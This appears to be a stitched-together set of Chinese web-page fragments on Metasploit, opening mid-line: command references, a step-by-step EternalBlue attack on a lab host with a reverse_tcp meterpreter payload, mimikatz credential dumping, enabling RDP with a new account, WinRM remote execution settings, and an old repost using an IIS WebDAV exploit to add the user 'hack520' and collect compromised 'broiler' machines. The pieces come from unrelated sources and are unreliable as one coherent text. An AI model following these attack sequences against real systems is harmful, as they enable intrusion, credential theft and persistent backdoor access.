$IP;\run"3、控制Meterpreter通常作为利⽤漏洞后的攻击载荷所使⽤,攻击载荷在触发漏洞后能返回给⽤户⼀个控制通道,当获取⽬标系统上的⼀个Meterpreter连接时,⽤户必须使⽤Meterpreter传递攻击载荷。
metaploit 命令参数
metaploit 命令参数摘要:一、Metasploit 简介1.Metasploit 的作用2.常见的Metasploit 版本二、Metasploit 命令参数1.基本命令参数a.`msfconsole`:进入Metasploit 命令行界面b.`use <module>`:选择要使用的攻击模块c.`set <parameter> <value>`:设置模块参数d.`run`:执行攻击模块2.常用命令参数a.`set RHOST <ip>`:设置目标IP 地址b.`set RPORT <port>`:设置目标端口c.`set USERNAME <username>`:设置用户名d.`set PASSWORD <password>`:设置密码e.`set SCRIPT <path>`:设置脚本路径f.`set VERBOSE`:启用详细输出g.`set SILENT`:禁用输出3.模块参数a.`set payload <payload>`:设置要使用的有效载荷b.`set payload_encoder <encoder>`:设置有效载荷编码器c.`set exploit_type <type>`:设置攻击类型d.`set target <target>`:设置目标平台三、Metasploit 命令示例1.基本示例a.进入Metasploit 命令行界面b.选择要使用的攻击模块c.设置模块参数并执行攻击模块2.常用示例a.使用默认设置执行Nmap 扫描b.使用自定义设置执行漏洞利用c.使用脚本进行攻击正文:Metasploit 是一款强大的渗透测试工具,它可以帮助安全从业人员对系统进行安全评估。
Metasploit 具有丰富的功能和模块,支持多种攻击场景。
渗透神器Metasploit
渗透神器Metasploit⼀、Metasploit框架介绍Metasploit是⼀个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。
它本⾝附带数千个已知软件漏洞的专业级漏洞攻击⼯具。
当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。
仿佛⼀夜之间,任何⼈都可以成为⿊客,每个⼈都可以使⽤攻击⼯具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。
软件⼚商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队⼀直都在努⼒开发各种攻击⼯具,并将它们贡献给所有Metasploit⽤户。
我们能够通过它发现漏洞并进⾏快速实施攻击,当然需要在授权的情况下⼆、Metasploit模块介绍综合渗透测试框架MSF所⽤功能可分为这⼏个模块,每个模块都有各⾃的功能领域,形成了渗透测试的流程模块名模块名描述Auxiliary辅助模块为渗透测试信息搜集提供了⼤量的辅助模块⽀持Exploits攻击模块利⽤发现的安全漏洞或配置弱点对远程⽬标系统进⾏攻击,从⽽获得对远程⽬标系统访问权的代码组件Payload攻击载荷模块攻击成功后促使靶机运⾏的⼀段植⼊代码Post后渗透攻击模块收集更多信息或进⼀步访问被利⽤的⽬标系统Encoders编码模块将攻击载荷进⾏编码,来绕过防护软件拦截三、MSF-基础指令命令描述help/?帮助菜单exit退出MSF控制台Back返回上⼀级info显⽰⼀个或者多个模块的信息show显⽰所给类型的模块background将当前操作在后台运⾏use使⽤所选择的模块set设置选项unset取消设置的选项session会话use使⽤所选择的模块使⽤MSF前先打开数据库开启数据库:service postgresql start如果不开启数据库也可以,不过关于数据库的命令⽤不了初始化MSF数据库:msfdb init开启MSF:msfconsole查看数据连接状态:db_status常⽤模块讲解Auxiliary 模块: show auxiliaryRank表⽰好⽤级别:normal(正常),excellent(优秀),good(良好),average(平均)命名规则:功能/服务/名称 scanner/smb/smb_ms17_010Exploits 模块: show exploits命名规则:操作系统/服务/名称 windows/smb/ms17_010_eternalbluePayload 模块:show payloads命名规则:操作系统/类型/名称 windows/x64/meterpreter/reverse_tcpMSF搜索模块根据名称搜索 : search ms17_010MSF设置模块设置模块:use auxiliary/scanner/smb/smb_ms17_010查看选项:options四、MSF攻击流程Ping下需要攻击的⽬标地址 ping 192.168.2.168指定ping四次 ping 192.168.2.168 -c 4扫描⽬标地址端⼝有没有开启,永恒之蓝端⼝445,⽂件共享服务端⼝db_nmap 192.168.2.168 -p 445,-p指定445端⼝发现⽬标机器开启了445端⼝,查看hosts,发现⽬标地址已经存在这⾥了搜索下永恒之蓝模块名字search ms17_010使⽤辅助模块来扫描,看到了SMB REC,扫描下看有没有远程命令执⾏漏洞use auxiliary/scanner/smb/smb_ms17_010options,查看需要设置什么,⼀般都是设置yes需要设置⼀个路径,这个路径就是字典⽂件,MSF已经设置好了,所以不需要设置RHOSTS⽬标服务器地址,远程主机的地址,需要设置成⽬标地址⽬标端⼝SMB线程⽤户名和密码都是不需要设置的,因为MSF利⽤远程命令执⾏这个漏洞去攻击设置RHOSTS,最简单就是set rhosts 192.168.2.168也可以利⽤hosts扫描到的数据库⾥⾯有的,直接hosts -R也可以使⽤run或者exploit都是可以攻击的发现了绿⾊的[+],说明可能存在MS17-010 漏洞的,同时也看到这台⽬标服务器的相关资料,操作系统是windows server 2008 R2 64位的,MSF⾃带的只能攻击64位的接下来使⽤攻击模块search ms17发现有两个攻击模块可以使⽤,这⾥使⽤⼀个ms17_010_eternalblue直接use 8,进⼊到攻击模块设置payload,先查看show payloads反向连接tcp,因为不知道服务器有没有⽹使⽤meterpreterset payload windows/x64/meterpreter/reverse_tcpoptions 查看下还要设置什么需要设置本机ip地址和⽬标地址set lhost 192.168.2.250set rhosts 192.168.2.168设置好后现在就可以直接攻击了rungetuid查看下成功没拿到了SYSTEM的权限,NT是windowsshell看看,进⼊⽬标机器的CMD命令load mimikatz ,加载mimikatzkerberos,读取⽬标机器⽤户的凭证,明⽂密码background,把会话放在后台db_nmap 192.168.2.168 -p 3389,扫描下端⼝,看能不能远程登录端⼝没开启,使⽤post模块,通过修改注册表来开启⽬标端⼝search enable_rdp,rdp表⽰远程登录服务use 0options,看需要设置什么在system权限上,把⽬标的3389转发到本地的3389,再通过3389连接,可以新建账户密码,session就是我们刚刚保留的会话,通过这个会话开启服务器⽬标的端⼝和⽤户名和密码set password 1234.aset session 1set username abcrun,攻击下db_nmap 192.168.2.168 -p 3389,扫描下看开放没rdesktop 192.168.2.168,远程登录五、后渗透⼯具 - meterpreter查看⽤户权限: meterpreter> getuid获取hash密码: meterpreter> hashdump上传⽂件: meterpreter> upload执⾏⽂件: meterpreter> execute -f notepad.exe获取屏幕截图:meterpreter>screenshot获取shell:meterpreter>shell声明:请勿⽤作违法⽤途,请在授权情况下使⽤。
完整版Metasploit利用溢出漏洞远控Windows靶机操作指南
1网络测试环境成立第一需要先配置好一个浸透测试用的网络环境,包括如图 1 所示的运行 Kali Linux 系统的计算机,如图 2 所示的 Windows Server 2003 系统的计算机和如图 3 所示的运行 Windows 7 系统的计算机。
显然这三台计算机处于同一个网段中,可以相互通讯, Kali 系统用作攻击机,下面将在此系统上运行 Metasploit 进行浸透测试,而 Windows 2003 和 Windows 7 系统都是本次任务中需要进行浸透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
图1 Kali 攻击机图 2 Windows 2003 靶机图 3 Windows 7靶机2扫描靶机在正式开始浸透从前,应该对靶机进行扫描探测工作,搞清楚浸透目标的系统种类、开放的端口服务、可能存在的安全漏洞等。
如图 4 所示,在 Kali 攻击机上执行 Msfconsole 命令,即可进入 Metasploit 环境,如图 5 所示。
图3-4 msfconsole 命令图 5进入msf环境现在可以利用 MSF框架中集成的 Nmap扫描器对浸透测试目标进行扫描,如图 6 和 7 所示,获得了靶机的开放服务和操作系统种类等信息。
图 6 Windows 2003 扫描结果图7 Windows 7 扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,比方如图8 所示, Nmap利用 smb-check-vulns 插件扫描探测出了 Windows 2003 靶机存在 MS08_067漏洞。
图 8 漏洞扫描结果3 利用 MS08_067 漏洞浸透入侵MS08_067是一个从前在各种 Windows 操作系统中广泛存在,而且危害特别严重的缓冲器溢出种类的漏洞, 利用它可以在无需知道任何账户密码, 也不需要受害者配合的情况下,经过网络直接远程控制受害的计算机。
为实现 Metasploit 在 Windows 操作系统的浸透测试, Metasploit 目前供应了三种用户使用接口,一个是 GUI 模式,另一个是 console 模式,第三个是 CLI(命令行)模式。
[安全]metasploit(1)
[安全]metasploit(1)⼀、配置metasploit环境1.⾃定义命令提⽰符msf5 > set Prompt my-msfPrompt => my-msfmy-msf >除了指定字符串,还可以使⽤以下格式:%D 当前⽬录%H 主机名%J 当前正运⾏的⼯作数量%L 本地IP地址%S 当前打开的会话数%T 时间戳(set PromptTimeFormat %Y-%m-%d修改格式)%U 当前使⽤的⽤户名称%W 当前所处的⼯作区除了修改命令提⽰符内容,还可以修改">"为其他符号:my-msf > set PromptChar $PromptChar => $my-msf $2.开启计时功能当我们执⾏任务时,为了了解每⼀步操作发⽣的时间,需要具备计时功能。
my-msf $ set TimestampOutput trueTimestampOutput => truetrue为开启计时功能,false为关闭。
3.开启⽇志记录当我们需要对操作进⾏⽇志记录时,可以开启⽇志记录功能(默认是关闭的):my-msf $ set ConsoleLogging trueConsole logging is now enabled.ConsoleLogging => true这样,我们所做的操作都会被记录到 /root/.msf4/logs/console.log 中(从开启⽇志功能后开始记录)。
4.开启会话⽇志第3节中所开启的是console的⽇志(即运⾏命令时的记录),⽽当我们攻击成功后,获得了会话连接,则需要记录连接的⽇志。
msf5 > set SessionLogging trueSession logging will be enabled for future sessions.SessionLogging => true5.设置⽇志级别msf5 > set LogLevel 2LogLevel => 2⽇志级别为0、1、2、3,值越⾼,内容越详细。
winrm用法
winrm用法WinRM用法详解1. WinRM简介WinRM(Windows 远程管理)是一种远程管理协议,用于在Windows 操作系统上执行管理任务。
它提供了一种安全的方式来远程管理 Windows 操作系统上的计算机。
2. WinRM的配置要使用WinRM,首先需要进行配置。
以下是一些配置用法的示例:•winrm quickconfig:以默认配置快速启用WinRM。
•winrm set winrm/config/client @{TrustedHosts="*"}":配置允许任意主机连接WinRM服务。
•winrm set winrm/config/service/auth @{Basic="true"}:启用基本身份验证。
•winrm setwinrm/config/listener?Address=*+Transport=HTTP@{Enabled="true"}:启用HTTP传输。
借助WinRM,可以远程执行命令。
以下是一些远程执行命令的用法示例:•winrs -r:TARGET COMMAND:在远程计算机上执行命令。
•winrs -r:TARGET -u:USERNAME -p:PASSWORD COMMAND:在远程计算机上使用指定的用户名和密码执行命令。
•winrs -r:TARGET -ad -us:USERNAME -p:PASSWORD COMMAND:在远程计算机上执行命令,并使用指定的用户名和密码进行身份验证。
4. 远程资源管理除了执行命令,WinRM还可以用于远程资源管理。
以下是一些远程资源管理的用法示例:•winrs -r:TARGET -dir:REMOTE_PATH LOCAL_PATH:将远程计算机上的文件/文件夹复制到本地计算机。
•winrs -r:TARGET -copyfile:LOCAL_PATH REMOTE_PATH:将本地计算机上的文件/文件夹复制到远程计算机。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
强大溢出工具包:Metasploit命令行下的使用(转至77169)
分类:溢出研究软件详解2005-06-22 23:26 5175人阅读评论(3) 收藏举报
Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.
下载Metasploit双击进行安装,非常简单,一路回车就行了。
安装完之后看下安装目录下的Msfconsole.bat和msfweb.bat,第一个是命令下的控制台。
第二个是图形界面下的程序。
现在我们先来看下命令行下的使用方法,运行后我们看到的是metasploit的欢迎界面,输入“?”查看帮助,如图1
看到很多命令吧,我们来解释一下
“?” 帮助
“cd” :这个命令大家都熟悉,和WIN下面一样,切换目录
“exit” 这个就是退出的意思
“info”显示当前程序信息
“quit”退出程序
“reload”加载exploit和payloads
“save”保存设置
“setg”设置一个环境变量
“show”显示当前可用的exploit
“ use”选择一个exp
“version”显示程序版本
这么多命令看起来肯定有些晕了吧其实用到的就"show" "info" "use"这3个,我们来看看是怎么使用的
这个程序就是一个大的工具包,集成了N多EXPLOIT,我们可以用show exploits看看有哪些exploit程序,如图2
Return to Gallery | Original Image
看到了吧?这么多溢出程序,想用哪个就用哪个,省得整天找。
这么多的东西该怎么用呢??比如我想用一个溢出程序,肯定得先看他的帮助了解使用方法。
这就得用到info命令啦。
这个命令就是显示溢出程序的详细信息,比如我们想看下iis50_webdav_ntdll这个溢出程序的用法,就在命令行下输入info exploit iis50_webdav_ntdll,就会看到图3所示
这里只是查看Exploit的信息,我们还可查看shellcode的信息。
在这个工具包中,可以定义自己需要的shellcode.在命令行下输入"show payloads"可以看到可用的shellcode列表,如图4
左边是名字,右边是说明。
我们可以用info命令查看shellcode的具体信息,输入命令info payload cmd_generic如图5所示
这里要注意的只是required和options,这里required表示必选options 表示可选可不选,以linux开头的就是针对linux系统的shellcode,以CMD和WIN开头的就是针对所有WIN 系统。
在溢出过程中一定要选对应的SHELLCODE才能成功。
好,现在我们来看实战一下,我们拿webdav的溢出程序做例子,在命令中输入use
iis50_webdav_ntdll,然后再输入show options 查看要输入的内容,如图6所示
然后我们在命令行下输入set rhost 192.168.1.223 set rhost 80 如图7所示
到这里了,得指定shellcode,输入以下命令:set payload winexec输完了按回车然后再输入set cmd net user hack520 /add 如图8所示
好了现在可以向192.168.1.223发起进攻了,输入show targets 可以看到操作系统的代号,大家都知道webdav走针对2000系统,输入set targets 0 如图9所示
没有什么问题了就输入Exploit。
如果对方服务器存在这个漏洞话就会得到shell了。